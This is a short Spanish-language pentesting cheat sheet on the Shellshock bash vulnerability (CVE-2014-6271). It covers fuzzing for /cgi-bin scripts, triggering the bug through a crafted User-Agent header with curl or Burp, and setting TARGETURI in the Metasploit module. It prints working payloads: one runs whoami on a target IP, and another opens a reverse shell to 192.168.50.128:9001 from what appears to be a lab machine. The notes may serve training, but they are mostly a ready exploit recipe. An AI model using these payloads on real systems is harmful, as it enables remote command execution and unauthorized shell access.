Vulnerabilidades Mas Conocidas

Shellshock (CVE-2014-6271) #

Vulnerabilidad que nos permite llegar a ejecutar comandos de manera remota en la víctima, si tiene una versión de bash relativamente antigua. El tema aquí es encontrar binarios cgi en un servidor web Apache por ejemplo.

Enumeracion #

SI al realizar fuzzing descubrimos el típico directorio /cgi-bin probablemente estemos de suerte. debemos hacer fuzzing sobre cgi-bin Una vez localizado un binario .cgi, pl, sh, anotamos su ubicación, ej:

http://102.196.45.32/cgi-bin/status

Explotación con CURL o Burpsuite #

Basta con manipular la cabecera User-Agent para llegar a acontecer la vulnerabilidad.

curl -s http://102.196.45.32/cgi-bin/status -H "User-Agent: () { :; }; echo; echo; /usr/bin/whoami"

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.50.128/9001 0>&1' http://symfonos3.local/cgi-bin/underworld

Si no funciona con curl, pasarlo por burpsuite y mandar al repeater

Explotacion con metasploit #

buscar con “search shellshock”, y en caso de apache localizarlo y utilizarlo. Lo importante al completar las “options” es establecer bien la “TARGETURI”, que es la ruta hacia el binario cgi, pl, sh…

#Ejemplo: TARGETURI= /cgi-bin/prueba.cgi (no hay que meter la URL completa)